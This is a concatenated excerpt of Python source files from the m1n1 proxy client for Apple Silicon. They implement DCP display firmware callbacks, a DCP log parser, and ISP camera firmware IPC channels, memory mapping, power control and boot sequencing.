print(f"swap_complete_intent_gated({swap_id}, {unkB}, {unkInt}, {width}, {height}") self.swaps += 1 self.frame = swap_id def enable_backlight_message_ap_gated(self, unkB): print(f"enable_backlight_message_ap_gated({unkB})") # wrapper for set_digital_out_mode to print information on the setted modes def SetDigitalOutMode(self, color_id, timing_id): color_mode = [x for x in self.dcpav_prop['ColorElements'] if x['ID'] == color_id][0] timing_mode = [x for x in self.dcpav_prop['TimingElements'] if x['ID'] == timing_id][0] pprint.pprint(color_mode) pprint.pprint(timing_mode) self.set_digital_out_mode(color_id, timing_id) ## UPPipeAP_H13P methods def did_boot_signal(self): return True def did_power_on_signal(self): return True def will_power_off_signal(self): return def rt_bandwidth_setup_ap(self, config): print("rt_bandwidth_setup_ap(...)") if self.compatible == 't8103': config.val = { "reg1": 0x23b738014, # reg[5] in disp0/dispext0, plus 0x14 - part of pmgr "reg2": 0x23bc3c000, # reg[6] in disp0/dispext0 - part of pmp/pmgr "bit": 2, } elif self.compatible == 't600x': config.val = { "reg1": 0x28e3d0000 + 0x988, # reg[4] in disp0/dispext0, plus 0x988 "reg2": 0x0, "bit": 0, } else: raise ValueError(self.compatible) ## UnifiedPipeline2 methods def match_pmu_service(self): pass def set_number_property(self, key, value): pass def create_provider_service(self): return True def is_dark_boot(self): return False def read_edt_data(self, key, count, value): return False def UNK_get_some_field(self): return 0 def start_hardware_boot(self): self.set_create_DFB() self.do_create_default_frame_buffer() self.setup_video_limits() self.flush_supportsPower(True) self.late_init_signal() self.setDisplayRefreshProperties() return True def setDCPAVPropStart(self, length): print(f"setDCPAVPropStart({length:#x})") self.dcpav_prop_len = length - 1 # off by one? self.dcpav_prop_off = 0 self.dcpav_prop_data = [] return True def setDCPAVPropChunk(self, data, offset, length): print(f"setDCPAVPropChunk(..., {offset:#x}, {length:#x})") assert offset == self.dcpav_prop_off self.dcpav_prop_data.append(data) self.dcpav_prop_off += len(data) return True def setDCPAVPropEnd(self, key): print(f"setDCPAVPropEnd({key!r})") blob = b"".join(self.dcpav_prop_data) assert self.dcpav_prop_len == len(blob) self.dcpav_prop[key] = ipc.OSSerialize().parse(blob) self.dcpav_prop_data = self.dcpav_prop_len = self.dcpav_prop_off = None #pprint.pprint(self.dcpav_prop[key]) return True def set_boolean_property(self, key, value): print(f"set {key!r} = {value}") def removeProperty(self, key): print(f"removeProperty({key!r})") def powerstate_notify(self, unk1, unk2): print(f"powerstate_notify({unk1}, {unk2})") def create_default_fb_surface(self, width, height): print(f"create_default_fb_surface({width}x{height})") return True def powerUpDART(self, unk): print(f"powerUpDART({unk})") return 0 def hotPlug_notify_gated(self, unk): print(f"hotPlug_notify_gated({unk})") def is_waking_from_hibernate(self): return False ## UPPipe2 methods def match_pmu_service_2(self): return True def match_backlight_service(self): return True def get_calendar_time_ms(self): return time.time_ns() // 1000_000 def update_backlight_factor_prop(self, value): pass def map_buf(self, buf, vaddr, dva, unk): print(f"map buf {buf}, {unk}") paddr, dcpdva, dvasize = self.bufs[buf] vaddr.val = 0 dva.val = self.dcp.disp_dart.iomap(4, paddr, dvasize) print(f"mapped to dva {dva}") return 0 def update_backlight_factor_prop(self, unk): print(f"update_backlight_factor_prop {unk}") ## ServiceRelay methods def sr_setProperty(self, obj, key, value): self.service_prop.setdefault(obj, {})[key] = value print(f"sr_setProperty({obj}/{key} = {value!r})") return True def sr_getClockFrequency(self, obj, arg): print(f"sr_getClockFrequency({obj}, {arg})") return 533333328 sr_setProperty_dict = sr_setProperty_int = sr_setProperty_bool = sr_setProperty_str = sr_setProperty def sr_get_uint_prop(self, obj, key, value): value.val = 0 return False def sr_set_uint_prop(self, obj, key, value): print(f"sr_set_uint_prop({obj}, {key} = {value})") def set_fx_prop(self, obj, key, value): print(f"set_fx_prop({obj}, {key} = {value})") def sr_mapDeviceMemoryWithIndex(self, obj, index, flags, addr, length): assert obj == "PROV" addr.val, length.val = self.dcp.u.adt["/arm-io/disp0"].get_reg(index) print(f"sr_mapDeviceMemoryWithIndex({obj}, {index}, {flags}, {addr.val:#x}, {length.val:#x})") return 0 ## PropRelay methods def pr_publish(self, prop_id, value): self.pr_prop[prop_id] = value print(f"pr_publish({prop_id}, {value!r})") ## MemDescRelay methods: def allocate_buffer(self, unk0, size, unk1, paddr, dva, dvasize): print(f"allocate_buffer({unk0}, {size}, {unk1})") dvasize.val = align_up(size, 4096) paddr.val = self.dcp.u.memalign(0x4000, size) dva.val = self.dcp.dart.iomap(0, paddr.val, size) self.mapid += 1 print(f"Allocating {self.mapid} as {hex(paddr.val)} / {hex(dva.val)}") self.bufs[self.mapid] = (paddr.val, dva.val, dvasize.val) return self.mapid def map_physical(self, paddr, size, flags, dva, dvasize): dvasize.val = align_up(size, 4096) dva.val = self.dcp.dart.iomap(0, paddr, size) print(f"map_physical({paddr:#x}, {size:#x}, {flags}, {dva.val:#x}, {dvasize.val:#x})") self.mapid += 1 return self.mapid m1n1-1.4.11/proxyclient/m1n1/fw/dcp/parse_log.py000066400000000000000000000061341453754430200212300ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.utils import * from m1n1.constructutils import Ver from m1n1.fw.dcp.ipc import * class DCPAVPropHandler: def __init__(self): self.dcpav_prop = {} def setDCPAVPropStart(self, length): # print(f"setDCPAVPropStart({length:#x})") self.dcpav_prop_len = length - 1 # off by one? self.dcpav_prop_off = 0 self.dcpav_prop_data = [] return True def setDCPAVPropChunk(self, data, offset, length): # print(f"setDCPAVPropChunk(..., {offset:#x}, {length:#x})") assert offset == self.dcpav_prop_off self.dcpav_prop_data.append(data) self.dcpav_prop_off += len(data) return True def setDCPAVPropEnd(self, key): # print(f"setDCPAVPropEnd({key!r})") blob = b"".join(self.dcpav_prop_data) assert self.dcpav_prop_len == len(blob) self.dcpav_prop[key] = OSSerialize().parse(blob) self.dcpav_prop_data = self.dcpav_prop_len = self.dcpav_prop_off = None pprint.pprint(self.dcpav_prop[key]) return True def parse_log(fd): op_stack = {} for line in fd: optype, args = line.split(" ", 1) if optype == "CALL": d, msg, chan, off, msg, in_size, out_size, in_data = args.split(" ") op = Call(d, chan, int(off, 0), msg, int(in_size, 0), int(out_size, 0), bytes.fromhex(in_data)) op_stack.setdefault(chan, []).append(op) elif optype == "ACK": d, msg, chan, off, out_data = args.split(" ") op = op_stack[chan].pop() assert int(off, 0) == op.off op.ack(bytes.fromhex(out_data)) elif optype == "VERSION": for arg in args.strip().split(" "): version = arg.split(":") if len(version) == 2: Ver.set_version_key(version[0], version[1]) continue else: raise Exception(f"Unknown log cmd {optype}") yield op def dump_log(fd): nesting = { "": 0, "OOB": 0, } handler = DCPAVPropHandler() for op in parse_log(fd): ctx = "" if Ver.check("V < V13_5"): dcpavprop_cbs = ["D122", "D123", "D124"] else: dcpavprop_cbs = ["D126", "D127", "D128"] if not op.complete and op.msg in dcpavprop_cbs: method = op.get_method() if op.msg == dcpavprop_cbs[0]: method.callback(handler.setDCPAVPropStart, op.in_data) if op.msg == dcpavprop_cbs[1]: method.callback(handler.setDCPAVPropChunk, op.in_data) if op.msg == dcpavprop_cbs[2]: method.callback(handler.setDCPAVPropEnd, op.in_data) if "OOB" in op.chan: ctx = "[OOB] -----------> " if not op.complete: op.print_req(indent=ctx + " " * nesting.setdefault(ctx, 0)) nesting[ctx] += 1 else: nesting[ctx] -= 1 op.print_reply(indent=ctx + " " * nesting.setdefault(ctx, 0)) if __name__ == "__main__": import sys dump_log(open(sys.argv[1])) m1n1-1.4.11/proxyclient/m1n1/fw/isp/000077500000000000000000000000001453754430200167245ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/fw/isp/__init__.py000066400000000000000000000171201453754430200210360ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..common import * from ...utils import align import construct import struct ISPIPCBootArgs = Struct( "pad" / Default(Int64ul, 0), "ipc_iova" / Hex(Int64ul), # 0x1804000 "unk0" / Hex(Int64ul), # 0x1800000 "unk1" / Hex(Int64ul), # 0xe800000 "extra_iova" / Hex(Int64ul), # 0x1824000 "extra_size" / Hex(Int64ul), # 0x2200000 "unk4" / Hex(Int32ul), # 0x1 "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Padding(0x10), "ipc_size" / Hex(Int32ul), # 0x1c000 "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "unk5" / Hex(Int32ul), # 0x40 "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "unk6" / Hex(Int32ul), # 0x0 or 0x4b4c000 "pad" / Default(Int32ul, 0), "pad" / Padding(0x20), "pad" / Default(Int32ul, 0), "unk7" / Hex(Int32ul), # 0x1 "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "unk_iova" / Hex(Int32ul), # 0x18130f4 "pad" / Padding(0xb0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "unk9" / Hex(Int32ul), # 0x3 ) assert((ISPIPCBootArgs.sizeof() == 0x180)) ISPIPCChanTableDescEntry = Struct( "name" / PaddedString(0x40, "utf8"), "type" / Int32ul, "src" / Int32ul, "num" / Int32ul, "pad" / Int32ul, "iova" / Hex(Int32ul), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Default(Int32ul, 0), "pad" / Padding(0xa0), ) assert((ISPIPCChanTableDescEntry.sizeof() == 0x100)) class ISPChannelMessage: def __init__(self, arg0=0x0, arg1=0x0, arg2=0x0, arg3=0x0, arg4=0x0, arg5=0x0, arg6=0x0, arg7=0x0): self.count = 8 self.arg0 = arg0; self.arg1 = arg1; self.arg2 = arg2; self.arg3 = arg3; self.arg4 = arg4; self.arg5 = arg5; self.arg6 = arg6; self.arg7 = arg7 self.args = [self.arg0, self.arg1, self.arg2, self.arg3, self.arg4, self.arg5, self.arg6, self.arg7] self.data = None @classmethod def build(cls, arg0=0x0, arg1=0x0, arg2=0x0, arg3=0x0, arg4=0x0, arg5=0x0, arg6=0x0, arg7=0x0): return cls(arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7) @classmethod def new(cls): return cls.build() @classmethod def parse(cls, buf, index=0): arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7 = struct.unpack("<8q", buf) out = cls(arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7) out.data = buf out.index = index return out def encode(self): return struct.pack("<8q", *(self.arg0, self.arg1, self.arg2, self.arg3, self.arg4, self.arg5, self.arg6, self.arg7)) def __str__(self, max_count=3): s = "ISP Message [" for n in range(max_count): s += "0x%x" % (getattr(self, f"arg{n}")) if (n < max_count-1): s += ", " s += "]" return s def valid(self): # rough check used for dumps return not (self.arg0 & 0x1) class ISPChannel: """ Ring buffers used for CPU <-> ASC communication. TM: TERMINAL | src = 0, type = 2, num = 768, size = 0xc000, iova = 0x1804700 IO: IO | src = 1, type = 0, num = 8, size = 0x0200, iova = 0x1810700 DG: DEBUG | src = 1, type = 0, num = 8, size = 0x0200, iova = 0x1810900 BR: BUF_H2T | src = 2, type = 0, num = 64, size = 0x1000, iova = 0x1810b00 BT: BUF_T2H | src = 3, type = 1, num = 64, size = 0x1000, iova = 0x1811b00 SM: SHAREDMALLOC | src = 3, type = 1, num = 8, size = 0x0200, iova = 0x1812b00 IT: IO_T2H | src = 3, type = 1, num = 8, size = 0x0200, iova = 0x1812d00 There's a sticky note on my machine that says, "Host is Me, Target is Firmware". TM: Logs from firmware. arg0 is pointer & arg1 is the message size of log line. IO: To dispatch CISP_CMD_* ioctls to the firmware. DG: Unused. BR: New RX buffer pushed. BT: New TX buffer pushed. SM: Firmware requests to allocate OR free a shared mem region. IT: Mcache stuff when RPC is enabled. Basically unused. """ def __init__(self, isp, name, _type, src, num, iova, abbrev=""): self.isp = isp self.name = name self.src = src self.type = _type self.num = num self.entry_size = 64 self.size = self.num * self.entry_size self.iova = iova self.doorbell = 1 << self.src self.cursor = 0 self.abbrev = abbrev if abbrev else self.name self._stfu = False @property def stfu(self): self._stfu = True def log(self, *args): if (not self._stfu): if (args): print("ISP: %s:" % (self.abbrev.upper()), *args) else: print() def get_iova(self, index): assert((index < self.num)) return self.iova + (index * self.entry_size) def read_msg(self, index): assert((index < self.num)) return ISPChannelMessage.parse(self.isp.ioread(self.get_iova(index), self.entry_size)) def write_msg(self, msg, index): assert((index < self.num)) self.isp.iowrite(self.get_iova(index), msg.encode()) def read_all_msgs(self): ring = self.isp.ioread(self.iova, self.size) return [ISPChannelMessage.parse(ring[n*self.entry_size:(n+1)*self.entry_size]) for n in range(self.num)] def update_cursor(self): if (self.cursor >= (self.num - 1)): self.cursor = 0 else: self.cursor += 1 def dump(self): self.log(f'---------------- START OF {self.name} TABLE ----------------') for n, msg in enumerate(self.read_all_msgs()): if (msg.valid()): self.log(f'{n}: {msg}') self.log(f'---------------- END OF {self.name} TABLE ----------------') def _irq_wrap(f): def wrap(self, **kwargs): self.log() self.log(f'---------------- START OF {self.name} IRQ ----------------') x = f(self, **kwargs) self.log(f'---------------- END OF {self.name} IRQ ------------------') self.log() return x return wrap @_irq_wrap def handle_once(self, req): rsp = self._handle(req=req) if (rsp == None): return None self.write_msg(rsp, self.cursor) self.isp.regs.ISP_IRQ_DOORBELL.val = self.doorbell self.update_cursor() return rsp def handler(self): while True: req = self.read_msg(self.cursor) if ((req.arg0 & 0xf) == 0x1): break # ack flag rsp = self.handle_once(req=req) if (rsp == None): raise RuntimeError("IRQ stuck") @_irq_wrap def send_once(self, req): self.log(f'TX: REQ: {req}') self.write_msg(req, self.cursor) rsp = None self.isp.regs.ISP_IRQ_DOORBELL.val = self.doorbell while True: rsp = self.read_msg(self.cursor) if (rsp.arg0 == (req.arg0 | 0x1)): break # ack flag self.isp.table.sharedmalloc.handler() if (rsp == None): return None self.log(f'RX: RSP: {rsp}') self.isp.regs.ISP_IRQ_ACK.val = self.isp.regs.ISP_IRQ_INTERRUPT.val self.update_cursor() return rsp def send(self, req): rsp = self.send_once(req=req) if (rsp == None): raise RuntimeError("ASC never acked. IRQ stuck.") return rsp m1n1-1.4.11/proxyclient/m1n1/fw/isp/isp_base.py000066400000000000000000000406001453754430200210630ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..common import * from ...utils import align from ...hw.dart import DART from ...hw.isp import * import atexit from construct import * import struct import time from .isp_chan import ISPChannelTable class ISPSurface: def __init__(self, index, phys, iova, size, name): self.index = index self.phys = phys self.iova = iova self.size = size self.name = name def __str__(self): s = 'surface: [name: %s index: %d phys: 0x%x iova: 0x%x size: 0x%x]' % (self.name, self.index, self.phys, self.iova, self.size) return s class ISPMemoryManager: def __init__(self, isp, start_index=0x8): self.isp = isp self.index = start_index self.map = {} self._stfu = False @property def stfu(self): self._stfu = True def log(self, *args): if (not self._stfu): if (args): print("ISP: MMGR:", *args) else: print() def alloc_size(self, size, name="NULL"): size = align(size, self.isp.page_size) phys = self.isp.u.memalign(self.isp.page_size, size) self.isp.p.memset32(phys, 0, size) iova = self.isp.dart.iomap(0, phys, size) surf = ISPSurface(self.index, phys, iova, size, name) self.map[self.index] = surf self.log(f'Mapped {surf}') self.index += 1 return surf def free_surf(self, surf): if (surf.index not in self.map): return # this is python, we don't "free" self.log(f'Freed {surf}') def index_iova(self, iova): surf = [self.map[index] for index in self.map if self.map[index].iova == iova] if (len(surf) == 1): return surf[0] else: return None def dump(self): for index in self.map: surf = self.map[index] self.log(surf) class ISPASC: def __init__(self, isp): self.isp = isp self.regs = self.isp.regs def boot(self): self.regs.ISP_ASC_CONTROL = 0x0 self.regs.ISP_ASC_CONTROL = 0x10 def shutdown(self): self.regs.ISP_ASC_CONTROL = 0x0 def enable_interrupts(self): self.regs.ISP_IRQ_ENABLE = 0x0 self.regs.ISP_IRQ_ENABLE = 0xf def disable_interrupts(self): self.regs.ISP_IRQ_ENABLE = 0x0 def is_ready(self): status = self.regs.ISP_ASC_STATUS.val if (status & 0x3) == 0: # can't be 0x28, 0x2c self.isp.log("ASC not in WFI; status: 0x%x" % status) return False # normally 0x2a on first boot, 0x22 after self.isp.log("ASC in WFI; status: 0x%x" % status) return True def reset(self): self.regs.ISP_ASC_EDPRCR = 0x2 # I can't tell when this one's actually needed, so we'll do it every time self.regs.ISP_PMGR_0 = 0xff00ff self.regs.ISP_PMGR_1 = 0xff00ff self.regs.ISP_PMGR_2 = 0xff00ff self.regs.ISP_PMGR_3 = 0xff00ff self.regs.ISP_ASC_POWER_CYCLE_0 = 0xffffffff self.regs.ISP_ASC_POWER_CYCLE_1 = 0xffffffff self.regs.ISP_ASC_POWER_CYCLE_2 = 0xffffffff self.regs.ISP_ASC_POWER_CYCLE_3 = 0xffffffff self.regs.ISP_ASC_POWER_CYCLE_4 = 0xffffffff self.regs.ISP_ASC_POWER_CYCLE_5 = 0xffffffff class ISP: def __init__(self, u): self.u = u self.p = u.proxy self.PAGE_SIZE = 0x4000 self.page_size = self.PAGE_SIZE self.p.pmgr_adt_clocks_enable("/arm-io/isp") self.p.pmgr_adt_clocks_enable("/arm-io/dart-isp") self.dart = DART.from_adt(self.u, "/arm-io/dart-isp", iova_range=(0x3a28000, 0x20000000)) # +0x4000 extra heap self.dart.initialize() self.isp_base = u.adt["/arm-io/isp"].get_reg(0)[0] # 0x22a000000 self.pwr_base = u.adt["/arm-io/isp"].get_reg(1)[0] # 0x23b700000 self.isp_dart0_base = u.adt["/arm-io/dart-isp"].get_reg(0)[0] # 0x22c0e8000 self.isp_dart1_base = u.adt["/arm-io/dart-isp"].get_reg(1)[0] # 0x22c0f4000 self.isp_dart2_base = u.adt["/arm-io/dart-isp"].get_reg(2)[0] # 0x22c0fc000 self.regs = ISPRegs(backend=self.u, base=self.isp_base) self.ps = ISPPSRegs(backend=self.u, base=self.pwr_base) self.asc = ISPASC(self) self.mmger = ISPMemoryManager(self) self.table = None self.cmd_iova = 0x0 self.frames = [] self._stfu = False @property def stfu(self): self._stfu = True def log(self, *args): if (not self._stfu): if (args): print("ISP:", *args) else: print() def ioread(self, iova, size): data = self.dart.ioread(0, iova & 0xFFFFFFFFFF, size) return data def iowrite(self, iova, data): self.dart.iowrite(0, iova & 0xFFFFFFFFFF, data) def iomap(self, phys, size): iova = self.dart.iomap(phys, size) return iova def iomap_at(self, iova, phys, size): self.dart.iomap_at(0, iova & 0xFFFFFFFFFF, phys, size) def write_tunables(self): self.write_fabric_tunables() self.write_unk_power_tunables() self.write_dapf_tunables() self.write_dart_tunables() def write_fabric_tunables(self): p = self.p # Fabric tunables. Should go under tunables_static.c p.mask32(self.isp_base + 0x00, 0x10, 0x10) p.mask32(self.isp_base + 0x40, 0xffff, 0x50030) p.mask32(self.isp_base + 0x44, 0xffff, 0xa0040) p.mask32(self.isp_base + 0x400, 0x4, 0x40000001) p.mask32(self.isp_base + 0x600, 0x0, 0x1ffffff) p.mask32(self.isp_base + 0x738, 0x1ff01ff, 0x2) # these 4 are used in power reset p.mask32(self.isp_base + 0x798, 0x1ff01ff, 0x300008) p.mask32(self.isp_base + 0x7f8, 0x1ff01ff, 0x880020) p.mask32(self.isp_base + 0x858, 0x1ff01ff, 0x200080) p.mask32(self.isp_base + 0x900, 0x1, 0x101) p.mask32(self.isp_base + 0x410, 0x100, 0x1100) p.mask32(self.isp_base + 0x420, 0x100, 0x1100) p.mask32(self.isp_base + 0x430, 0x100, 0x1100) p.mask32(self.isp_base + 0x8000, 0x0, 0x9) p.mask32(self.isp_base + 0x920, 0x0, 0x80) def write_unk_power_tunables(self): self.regs.ISP_POWER_UNK_0 = 0x1 self.regs.ISP_POWER_UNK_1 = 0x80000000 self.regs.ISP_POWER_UNK_2 = 0x80000000 def write_dapf_tunables(self): p = self.p u = self.u dapf_cfg = getattr(u.adt['/arm-io/dart-isp'], 'filter-data-instance-0') dapf_base = u.adt['/arm-io/dart-isp'].reg[5].addr | 0x200000000 offset = 0 while offset < len(dapf_cfg): (start, end, _, r0h, r0l, _, r4) = struct.unpack_from('QQBBBBI', buffer=dapf_cfg, offset=offset) offset += 24 p.write32(dapf_base + 0x4, r4) p.write32(dapf_base + 0x8, start & 0xFFFFFFFF) p.write32(dapf_base + 0xc, start >> 32) # macos does 32 bit writes, can we do 64? p.write32(dapf_base + 0x10, end & 0xFFFFFFFF) p.write32(dapf_base + 0x14, end >> 32) p.write32(dapf_base, (r0h << 4) | r0l) dapf_base += 0x40 def write_dart_tunables(self): p = self.p isp_dart0_base = self.isp_dart0_base isp_dart1_base = self.isp_dart1_base isp_dart2_base = self.isp_dart2_base p.write32(isp_dart0_base + 0x100, 0x80) p.write32(isp_dart0_base + 0x13c, 0x100) p.write32(isp_dart1_base + 0xfc, 0x1) p.write32(isp_dart1_base + 0x200, self.dart.dart.regs.TTBR[0, 0].val) p.write32(isp_dart1_base + 0x2f0, 0x0) p.write32(isp_dart1_base + 0x34, 0xffffffff) p.write32(isp_dart1_base + 0x20, 0x100000) p.mask32(isp_dart1_base + 0x60, 0x10000, 0x80016100) p.mask32(isp_dart1_base + 0x68, 0x20202, 0xf0f0f) p.mask32(isp_dart1_base + 0x6c, 0x0, 0x80808) p.write32(isp_dart1_base + 0x100, 0x80) p.write32(isp_dart1_base + 0x13c, 0x20000) p.write32(isp_dart2_base + 0xfc, 0x1) p.write32(isp_dart2_base + 0x200, self.dart.dart.regs.TTBR[0, 0].val) p.write32(isp_dart2_base + 0x2f0, 0x0) p.write32(isp_dart2_base + 0x34, 0xffffffff) p.write32(isp_dart2_base + 0x20, 0x100000) p.mask32(isp_dart2_base + 0x60, 0x10000, 0x80016100) p.mask32(isp_dart2_base + 0x68, 0x20202, 0xf0f0f) p.mask32(isp_dart2_base + 0x6c, 0x0, 0x80808) p.write32(isp_dart2_base + 0x100, 0x80) p.write32(isp_dart2_base + 0x13c, 0x20000) def sync_ttbr(self): # Base ttbr is initialized after first iomap_at(), so copy it now self.p.write32(self.isp_dart1_base + 0x200, self.dart.dart.regs.TTBR[0, 0].val) self.p.write32(self.isp_dart2_base + 0x200, self.dart.dart.regs.TTBR[0, 0].val) def power_on(self): self.p.pmgr_adt_clocks_enable("/arm-io/isp") self.p.pmgr_adt_clocks_enable("/arm-io/dart-isp") # power domains, low -> high self.ps.ISP_PS_00 = 0xf self.ps.ISP_PS_08 = 0xf self.ps.ISP_PS_10 = 0xf self.ps.ISP_PS_18 = 0xf self.ps.ISP_PS_20 = 0xf self.ps.ISP_PS_28 = 0xf self.ps.ISP_PS_30 = 0xf self.ps.ISP_PS_38 = 0xf self.ps.ISP_PS_40 = 0xf self.ps.ISP_PS_48 = 0xf self.ps.ISP_PS_50 = 0xf self.ps.ISP_PS_58 = 0xf self.ps.ISP_PS_60 = 0xf def power_off(self): # power domains, high -> low self.ps.ISP_PS_60 = 0x0 self.ps.ISP_PS_58 = 0x0 self.ps.ISP_PS_50 = 0x0 self.ps.ISP_PS_48 = 0x0 self.ps.ISP_PS_40 = 0x0 self.ps.ISP_PS_38 = 0x0 self.ps.ISP_PS_30 = 0x0 self.ps.ISP_PS_28 = 0x0 self.ps.ISP_PS_20 = 0x0 self.ps.ISP_PS_18 = 0x0 self.ps.ISP_PS_10 = 0xf0017ff # intermediate state for the first three self.ps.ISP_PS_08 = 0xf0017ff self.ps.ISP_PS_00 = 0x7ff self.ps.ISP_PS_10 = 0x0 # now turn them off self.ps.ISP_PS_08 = 0x0 self.ps.ISP_PS_00 = 0x0 self.regs.ISP_DPE_UNK_1 = 0x103 self.regs.ISP_DPE_UNK_0 = 0xc03 # self.p.mask32(0x22c504000, 0xc01, 0xc03) def initialize_firmware(self): # Stage0 # ============================================================================= """ iova memory map 0x0000000 - 0x09b4000; 0x09b4000: fw __TEXT 0x09b4000 - 0x0dd0000; 0x041c000: fw __DATA 0x0dd0000 - 0x1800000; 0x0a30000: internal heap fw uses for (fw) code execution 0x1800000 - 0x1804000; 0x0004000: not mapped 0x1804000 - 0x1820000; 0x001c000: ipc channels; see stage3() 0x1820000 - 0x1824000; 0x0004000: not mapped 0x1824000 - 0x3a24000; 0x2200000: extra heap requested by fw at boot """ # text_phys = 0x8009e8000; text_iova = 0x000000; text_size = 0x9b4000; # data_phys = 0x8019b8000; data_iova = 0x9b4000; data_size = 0x41c000; (text_phys, text_iova, _, text_size, data_phys, data_iova, _, data_size) = struct.unpack(' 0x8042006 self.regs.ISP_GPIO_7 = 0x0 # Signal to fw for n in range(100): if (self.regs.ISP_GPIO_7.val == 0x8042006): self.log('Got first magic number from firmware') break time.sleep(0.01) assert((self.regs.ISP_GPIO_7.val == 0x8042006)) ipc_chan_count = self.regs.ISP_GPIO_0.val # 0x7 ipc_args_offset = self.regs.ISP_GPIO_1.val # 0xef40 unk_2 = self.regs.ISP_GPIO_2.val # 0x1 extra_size = self.regs.ISP_GPIO_3.val # 0x2200000; fw requested extra heap unk_4 = self.regs.ISP_GPIO_4.val # 0x0 assert((ipc_chan_count == 0x7)) # Stage2 # ============================================================================= # Allocate IPC region ipc_iova = (heap_iova + heap_size) + 0x4000 # 0x1804000 ipc_size = 0x1c000 ipc_phys = self.u.heap.memalign(self.PAGE_SIZE, ipc_size) self.p.memset32(ipc_phys, 0, ipc_size) self.iomap_at(ipc_iova, ipc_phys, ipc_size) # Allocate extra heap requested by fw extra_iova = (ipc_iova + ipc_size) + 0x4000 # 0x1824000 extra_phys = self.u.heap.memalign(self.PAGE_SIZE, extra_size) self.p.memset32(extra_phys, 0, extra_size) self.iomap_at(extra_iova, extra_phys, extra_size) bootargs_iova = (ipc_iova + ipc_args_offset) + 0x40 # (0x1824000 + 0xef40) + 0x40; 0x1812f80 cmd_iova = (bootargs_iova + ISPIPCBootArgs.sizeof()) + 0x40 # (0x1812f80 + 0x180) + 0x40; 0x1813140 self.cmd_iova = cmd_iova bootargs = ISPIPCBootArgs.build(dict( ipc_iova=ipc_iova, unk0=0x1800000, unk1=0xe800000, extra_iova=extra_iova, extra_size=extra_size, unk4=0x1, ipc_size=ipc_size, unk5=0x40, unk6=0x0, unk7=0x1, unk_iova=bootargs_iova+0x174, # 0x18130f4; 0x180? unk9=0x3, )) self.iowrite(bootargs_iova, bootargs) self.regs.ISP_GPIO_0 = bootargs_iova self.regs.ISP_GPIO_1 = 0x0 # Await ISP_GPIO_7 to 0xf7fbdff9 -> 0x8042006 self.regs.ISP_GPIO_7 = 0xf7fbdff9 # Signal to fw for n in range(100): if (self.regs.ISP_GPIO_7.val == 0x8042006): self.log('Got second magic number from firmware') break time.sleep(0.01) assert((self.regs.ISP_GPIO_7.val == 0x8042006)) # Stage3 # ============================================================================= table_iova = self.regs.ISP_GPIO_0.val # 0x1804000 unk_1 = self.regs.ISP_GPIO_1.val # 0x0 self.log("IPC channel description table at iova 0x%x" % table_iova) ipc_width = ISPIPCChanTableDescEntry.sizeof() # 0x100 table_data = self.ioread(table_iova, ipc_chan_count*ipc_width) description = [] for n in range(ipc_chan_count): chan_data = table_data[n*ipc_width:(n+1)*ipc_width] desc = ISPIPCChanTableDescEntry.parse(chan_data) description.append(desc) self.table = ISPChannelTable(self, description) for chan in self.table.channels: if (chan.type == 0): # IO, DEBUG, BUF_H2T for n in range(chan.num): iova = chan.iova + (n * 0x40) patch = struct.pack(" 0x0 self.regs.ISP_GPIO_3 = 0x8042006 # Signal to fw for n in range(100): if (self.regs.ISP_GPIO_3.val == 0x0): self.log('Got third magic number from firmware') break time.sleep(0.01) assert((self.regs.ISP_GPIO_3.val == 0x0)) def boot(self): self.power_on() self.write_tunables() self.asc.reset() assert(self.asc.is_ready()) self.initialize_firmware() self.asc.enable_interrupts() atexit.register(self.shutdown) self.log("Firmware booted!") self.table.io.stfu self.table.bufh2t.stfu self.table.sharedmalloc.stfu self.table.sharedmalloc.handler() # TODO don't hardcode this here self.log("Ready!") def shutdown(self): self.asc.disable_interrupts() self.asc.shutdown() self.power_off() m1n1-1.4.11/proxyclient/m1n1/fw/isp/isp_chan.py000066400000000000000000000136401453754430200210660ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from construct import * import cv2 import struct from termcolor import colored import time from .isp_vid import ISPFrame class ISPTerminalChannel(ISPChannel): def __init__(self, isp, x, **kwargs): super().__init__(isp, x.name, x.type, x.src, x.num, x.iova, **kwargs) def dump(self): msgs = self.read_all_msgs() for n, msg in enumerate(msgs): if (msg.valid()): data = self.isp.ioread(msg.arg0 & ~3, msg.arg1) # iova, size s = data.decode().strip().replace('\n', '').replace('\r', '') if (s): print("(%d): ISPASC: " % (n) + s) class ISPIOChannel(ISPChannel): def __init__(self, isp, x, **kwargs): super().__init__(isp, x.name, x.type, x.src, x.num, x.iova, **kwargs) class ISPDebugChannel(ISPChannel): def __init__(self, isp, x, **kwargs): super().__init__(isp, x.name, x.type, x.src, x.num, x.iova, **kwargs) class ISPBufH2TChannel(ISPChannel): def __init__(self, isp, x, **kwargs): super().__init__(isp, x.name, x.type, x.src, x.num, x.iova, **kwargs) class ISPBufT2HChannel(ISPChannel): def __init__(self, isp, x, **kwargs): super().__init__(isp, x.name, x.type, x.src, x.num, x.iova, **kwargs) def _handle(self, req): assert((req.arg1 > 0x0)) self.log("RX: REQ: [iova: 0x%x, size: 0x%x, flag: 0x%x]" % (req.arg0, req.arg1, req.arg2)) if (req.arg2 == 0x10000000): self.push_frame(req) else: self.log(colored("Warning: frame dropped", "red")) # RX: REQ: [0x3a54000, 0x280, 0x10000000] # iova, size, flag # TX: RSP: [0x3a54001, 0x000, 0x80000000] # iova, zero, flag rsp = ISPChannelMessage.build( arg0 = req.arg0 | 0x1, 